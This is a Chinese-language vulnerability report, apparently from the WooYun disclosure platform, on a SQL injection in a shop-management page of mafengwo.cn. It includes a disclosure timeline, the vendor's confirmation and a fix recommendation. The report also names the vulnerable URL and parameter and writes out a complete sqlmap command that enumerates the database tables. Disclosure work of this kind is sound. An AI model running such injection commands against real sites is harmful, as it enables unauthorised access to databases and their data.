漏洞详情

披露状态:

2014-04-10: 细节已通知厂商并且等待厂商处理中
2014-04-10: 厂商已经确认,细节仅向厂商公开
2014-04-20: 细节向核心白帽子及相关领域专家公开
2014-04-30: 细节向普通白帽子公开
2014-05-10: 细节向实习白帽子公开
2014-05-25: 细节向公众公开

简要描述:

蚂蜂窝 主站SQL注射 可致数据库信息泄露 SQLMAP 验证(仅演示取得数据表名称,仅为证明危害,不再继续深入)
PS:请尽快到乌云确认漏洞,避免细节提前向公众公开

详细说明:

漏洞位置:

http://www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597

参数item_name没有过滤



normal01.png





SQLMAP 跑表演示

注意是用 level 5 测试的,复现漏洞时别忘了

C:\Users\Administrator>sqlmap.py -u "www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597" -p item_name --tables --dbms=mysql --technique T --level 5



QQ截图20140528202353.png



09083117172ecaa115eb893427a690b491cc9830.png





PS:请尽快到乌云确认漏洞,避免细节提前向公众公开

漏洞证明:

SQLMAP 跑表演示

注意是用 level 5 测试的,复现漏洞时别忘了

C:\Users\Administrator>sqlmap.py -u "www.mafengwo.cn/shop/mgr_item.php?act=add&item_name=lgkcaleg&item_price=1&shop_id=100597" -p item_name --tables --dbms=mysql --technique T --level 5



QQ截图20140528202353.png



25211114285b9ebf869d91395c62c57fc1c0ad0b.png





PS:请尽快到乌云确认漏洞,避免细节提前向公众公开

修复方案:

过滤所示参数,严格控制用户输入



PS:请尽快到乌云确认漏洞,避免细节提前向公众公开

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-10 12:13

厂商回复:

漏洞已经修复非常感谢反馈~

最新状态:

2014-04-09:非常感谢反馈~ 确认的有些晚


漏洞评价: